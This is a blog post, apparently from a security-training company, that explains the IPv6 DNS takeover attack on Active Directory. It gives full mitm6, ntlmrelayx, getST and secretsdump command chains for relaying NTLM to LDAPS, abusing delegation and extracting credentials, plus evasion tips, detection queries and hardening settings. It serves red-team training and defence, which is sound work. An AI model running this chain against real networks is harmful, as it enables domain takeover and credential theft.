Most enterprise networks were built, secured, and monitored with IPv4 in mind. Yet nearly every modern Windows host ships with IPv6 enabled and preferred by default. That gap between what defenders watch and what the operating system actually trusts is the foundation of one of the most reliable Active Directory attacks of the last decade: the IPv6 DNS takeover attack, most commonly executed with the tool mitm6.
This post breaks down exactly how the attack works at the protocol level, walks through a full real-world exploitation chain using professional-grade tooling, and then covers the detection signals and hardening steps blue teams need. Whether you are preparing for a red team engagement or trying to close this gap in your own domain, understanding the mechanics end to end is the only way to deal with it properly.
An IPv6 DNS takeover attack abuses the fact that Windows clients actively look for an IPv6 configuration even on networks that are administered purely over IPv4. When a Windows machine boots or refreshes its lease, it sends out DHCPv6 solicit messages asking for an IPv6 address and, critically, for DNS server information. On a network with no legitimate DHCPv6 server, nothing answers. That silence is the opening.
An attacker on the local segment runs a rogue DHCPv6 server that replies first. It hands the victim a link-local IPv6 address and, more importantly, sets the attacker's machine as the victim's primary IPv6 DNS server. Because Windows prefers IPv6 over IPv4 for name resolution, the attacker now controls how the victim resolves names. From there the attacker poisons specific lookups, harvests authentication, and relays it into Active Directory services to escalate privileges, frequently all the way to domain compromise.
The attack is potent because it requires no credentials to start, no exploit against a patched vulnerability, and no user interaction beyond normal background traffic. It is a logic and trust problem, not a memory corruption bug, which is why patching alone does not close it.
Microsoft recommends against fully disabling IPv6 because internal components depend on it. As a result, the IPv6 stack is present and preferred on virtually every domain-joined workstation and server. Administrators who never configured IPv6 often assume it is inert. In practice it is a fully active resolution path that nobody is monitoring, which is the ideal condition for an attacker who wants to operate quietly. If you want a structured path through this kind of internal AD tradecraft, the hands-on labs in the Redfox Cybersecurity Academy Windows Red Teaming track build the exact muscle memory this attack rewards.
The full chain has three logical phases. Understanding each phase separately makes both exploitation and defense far clearer.
The attacker listens for DHCPv6 solicit packets on UDP port 547 and responds with advertise and reply messages. These responses assign the victim an IPv6 address from a fake range and set the attacker as the DNS server. Router advertisements may also be sent so the victim treats the attacker as a default gateway for IPv6 traffic. You can confirm whether a target subnet even has solicit traffic worth abusing before launching anything.
# Passively watch for Windows hosts soliciting DHCPv6 on the wire
sudo tcpdump -i eth0 -n 'ip6 and udp port 547'
# Confirm IPv6-capable hosts on the segment
nmap -6 --script broadcast-dhcp6-discover
[cta]
A steady stream of solicit packets confirms that Windows clients on the segment are waiting for exactly the kind of answer the attacker is about to provide.
Once the attacker is the DNS server, the victim's name lookups flow through attacker-controlled infrastructure. The classic escalation is the Web Proxy Auto-Discovery (WPAD) lookup. Windows tries to resolve the hostname wpad to automatically locate a proxy configuration. The attacker answers that query, serves a malicious wpad.dat, and prompts the browser or system process to authenticate to the attacker. Because the request is for an internal-looking name over what the host considers a trusted path, the victim sends NTLM authentication without warning the user.
The captured authentication is not cracked offline in the modern version of this attack. Instead it is relayed in real time to a sensitive service, most often LDAP or LDAPS on a domain controller. If the relayed account has sufficient rights, or if Active Directory defaults allow it, the attacker can create a new machine account, configure resource-based constrained delegation, or read sensitive directory objects. This relay step is what turns a passive DNS trick into full domain escalation.
Practicing this attack safely requires an isolated lab with a domain controller, at least one Windows client, and a Linux attacker host on the same segment. A minimal setup looks like this: one Windows Server acting as the DC for a domain such as corp.local, one Windows 10 or 11 client joined to that domain, and a Kali or Ubuntu attacker box with the Impacket suite and mitm6 installed. Keep the lab on a host-only or internal virtual network so rogue DHCPv6 and router advertisements never leak onto a production LAN.
# Attacker host prerequisites
pipx install mitm6
pipx install impacket
# Verify the tooling is present
mitm6 --help
ntlmrelayx.py --help
[cta]
With the toolchain confirmed, you are ready to run the chain end to end. The structured lab environments inside Redfox Cybersecurity Academy remove the friction of building this yourself and let you focus on the technique rather than the plumbing.
The practical attack is a two-process operation. The first process, mitm6, handles the DHCPv6 spoofing and DNS poisoning. The second process, ntlmrelayx from Impacket, receives the resulting authentication and relays it to a target service.
Launch mitm6 first, scoped to the target domain so it only answers DNS queries that are relevant. Scoping reduces noise and keeps the attack from breaking unrelated traffic, which both improves stealth and protects lab stability.
# Spoof DHCPv6 and poison DNS for the corp.local domain
sudo mitm6 -d corp.local -i eth0 --ignore-nofqdn
# Optional: restrict spoofing to a single victim host
sudo mitm6 -d corp.local --host-allowlist WIN10-CLIENT -i eth0
[cta]
Within a few minutes, as Windows clients renew their leases or perform background WPAD lookups, mitm6 begins assigning IPv6 addresses and answering name queries. You will see the tool log each victim it has poisoned along with the queries it is intercepting.
In a second terminal, start ntlmrelayx with the IPv6 flag and point it at the domain controller over LDAPS. The WPAD host flag tells the relay to serve a WPAD file that coaxes victims into authenticating. The delegate-access flag instructs the relay to configure delegation as soon as a usable authentication arrives.
# Relay poisoned authentication to LDAPS on the domain controller
ntlmrelayx.py -6 -t ldaps://dc01.corp.local -wh wpad.corp.local --delegate-access
# Alternative: dump directory information for situational awareness
ntlmrelayx.py -6 -t ldaps://dc01.corp.local -wh wpad.corp.local --dump-laps --dump-gmsa
[cta]
When a domain computer authenticates through the relay, ntlmrelayx attempts to act on the directory with that machine's rights. Machine accounts can perform a surprising amount by default, and that default behavior is exactly what makes this chain so dangerous in unhardened domains.
The cleanest escalation path uses resource-based constrained delegation. By default, authenticated users in many domains can join up to ten computers, which means a relayed machine authentication can create a new computer object the attacker controls. The relay then writes that controlled account into the target's delegation settings.
# Create an attacker-controlled computer object and grant delegation
ntlmrelayx.py -6 -t ldaps://dc01.corp.local -wh wpad.corp.local \
--add-computer EVILPC --delegate-access
[cta]
Once the relay reports that EVILPC has been created and delegation has been configured against a victim host, the attacker pivots to Kerberos. Using the S4U2Self and S4U2Proxy extensions, the controlled account requests a service ticket impersonating a privileged user against the victim machine.
# Request an impersonation ticket for a high-value account
getST.py -spn cifs/victim.corp.local -impersonate Administrator \
-dc-ip 10.0.0.10 'corp.local/EVILPC$:Summer2026!'
# Use the ticket to extract secrets from the target
export KRB5CCNAME=Administrator.ccache
secretsdump.py -k -no-pass victim.corp.local
[cta]
At this point the attacker has administrative access to the target host and can extract credential material, move laterally, and continue toward full domain control. Chaining relay into delegation and then into Kerberos abuse is one of the most valuable skill sets a modern operator can hold, and it is covered in depth across the advanced modules at Redfox Cybersecurity Academy.
The basic chain is flexible. Skilled operators adapt it to whatever the environment allows, and recognizing these variations helps defenders understand the true blast radius.
If channel binding and signing block the LDAPS relay, operators sometimes target plain LDAP or alternative services. The principle is identical: relay the authentication to wherever it grants the most leverage. Profiling which services accept relayed authentication is a core part of scoping the attack.
# Relay to multiple candidate targets defined in a file
ntlmrelayx.py -6 -tf targets.txt -wh wpad.corp.local --delegate-access
# targets.txt contents
# ldaps://dc01.corp.local
# smb://fileserver.corp.local
# http://mail.corp.local/ews/
[cta]
Because mitm6 only needs the victim to perform a name lookup, leaving the attack running during a maintenance window or overnight maximizes the chance of capturing a high-privilege account that logs in to perform administrative tasks. Operators often correlate poisoned authentications against known admin hostnames to prioritize relay targets, then pivot immediately when a privileged session appears.
Aggressive spoofing of an entire subnet generates noticeable connectivity disruption and is easy to spot. Mature operators scope mitm6 to a single victim, run it briefly, and tear it down once the objective authentication is captured. Reducing footprint while still achieving the relay is exactly the kind of tradecraft taught in the Windows Evasion material at Redfox Cybersecurity Academy, where the focus shifts from simply making an attack work to making it survive a monitored environment.
The good news for defenders is that this attack is loud at the network layer if you know what to look for. The bad news is that most environments are not watching the IPv6 paths at all.
The clearest signal is unexpected DHCPv6 advertise and reply traffic on a network that has no legitimate DHCPv6 server. Any host suddenly answering on UDP port 547 should be treated as hostile until proven otherwise. Router advertisements from an unauthorized source are an equally strong indicator.
# Detect rogue DHCPv6 servers responding on the segment
sudo tcpdump -i eth0 -vv 'ip6 and udp port 547'
# Look for unexpected router advertisements
sudo tcpdump -i eth0 'icmp6 and ip6[40] == 134'
[cta]
On Windows hosts, the DNS Client operational log and Security log together reveal poisoned lookups and the resulting authentication attempts. WPAD lookups resolving to unusual addresses, paired with NTLM authentication to hosts that are not legitimate servers, form a high-confidence detection.
# Surface suspicious WPAD resolution on Windows clients
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-DNS-Client/Operational'} |
Where-Object { $_.Message -match 'wpad' } |
Select-Object TimeCreated, Message
# Review NTLM authentication events that may indicate relay
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4624} |
Where-Object { $_.Message -match 'NTLM' }
[cta]
A sudden spike in computer accounts being created in Active Directory, especially objects with names that do not match your naming convention, is another reliable late-stage indicator that the relay step has succeeded.
Defense works in layers. Because the attack abuses default trust rather than a single flaw, no one setting fully closes it. The combination below is what reduces the risk to a manageable level.
If your network does not use IPv6 for addressing, block rogue DHCPv6 and router advertisements at the switch layer using DHCPv6 guard and RA guard features. On endpoints, you can block inbound DHCPv6 reply traffic with the host firewall as a defense-in-depth measure.
# Block inbound rogue DHCPv6 replies at the host
New-NetFirewallRule -DisplayName "Block Inbound DHCPv6" -Direction Inbound `
-Protocol UDP -LocalPort 546 -Action Block
# Block inbound router advertisements
New-NetFirewallRule -DisplayName "Block Inbound RA" -Direction Inbound `
-Protocol ICMPv6 -IcmpType 134 -Action Block
[cta]
Disabling WPAD removes the most common poisoning target. You can push a registry setting through Group Policy to stop hosts from performing the automatic proxy discovery lookup entirely.
# Disable WPAD auto-detection across managed endpoints
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad" `
/v WpadOverride /t REG_DWORD /d 1 /f
# Disable the WinHTTP auto proxy service
Set-Service -Name WinHttpAutoProxySvc -StartupType Disabled
[cta]
Even if poisoning succeeds, enforcing LDAP signing and LDAP channel binding on domain controllers stops the relay to LDAPS, which is the most damaging target. Requiring SMB signing protects file servers from the same technique. These controls are the single most effective intervention against the escalation phase.
# Require LDAP signing on the domain controller
reg add "HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" `
/v LDAPServerIntegrity /t REG_DWORD /d 2 /f
# Enforce LDAP channel binding (Extended Protection for Authentication)
reg add "HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" `
/v LdapEnforceChannelBinding /t REG_DWORD /d 2 /f
[cta]
Setting the ms-DS-MachineAccountQuota attribute to zero stops standard users and relayed machine accounts from creating new computer objects, which directly disrupts the resource-based constrained delegation escalation path.
# Prevent non-privileged accounts from joining computers to the domain
Set-ADDomain -Identity corp.local -Replace @{"ms-DS-MachineAccountQuota"="0"}
[cta]
Implementing these controls and then validating them under real attack conditions is the difference between a checklist and genuine resilience. Validating defenses by actually running the attack chain against a hardened lab is precisely the methodology emphasized throughout the offensive curriculum at Redfox Cybersecurity Academy, where defenders learn to think like the operators they are trying to stop.
The IPv6 DNS takeover attack sits at the intersection of network protocol abuse, NTLM relay, and Active Directory privilege escalation. Mastering it means being fluent in all three, and that fluency comes from repetition in a realistic environment rather than reading alone. If you want a guided path, the Windows Red Teaming Course at Redfox Cybersecurity Academy covers the relay and delegation tradecraft this attack depends on, the Windows Red Teaming Extreme Course pushes into advanced delegation and lateral movement chains, and the Windows Evasion Course focuses on operating quietly against monitored networks. For a complete foundation that ties offensive AD work together, the Masters in Ethical Hacking program at Redfox Cybersecurity Academy provides the broader context that makes individual techniques like this one click into place.
The IPv6 DNS takeover attack is dangerous precisely because it weaponizes default behavior that most organizations never think about. Windows prefers IPv6, asks for DHCPv6 configuration, and trusts the answers it receives, so an attacker who simply replies first can become the network's DNS authority without a single exploit or stolen credential.
From that position, the path to domain compromise is short: poison a WPAD lookup, capture NTLM authentication, relay it to LDAPS, create a controlled machine account, abuse resource-based constrained delegation, and impersonate a privileged user with Kerberos. Each step uses legitimate protocol features in an illegitimate order.
For defenders, the priorities are clear. Watch the IPv6 paths you are currently ignoring, block rogue DHCPv6 and router advertisements at the switch and host, disable WPAD, enforce LDAP signing and channel binding to break the relay, and set the machine account quota to zero to cut off the delegation escalation. None of these is sufficient alone, but together they reduce a near-guaranteed compromise to a contained, detectable event. The most reliable way to confirm your defenses hold is to run the full chain yourself in a controlled lab and watch what your monitoring actually catches.
Redfox Cyber Security Inc.
8 The Green, Ste. A, Dover,
Delaware 19901,
United States.
.avif)
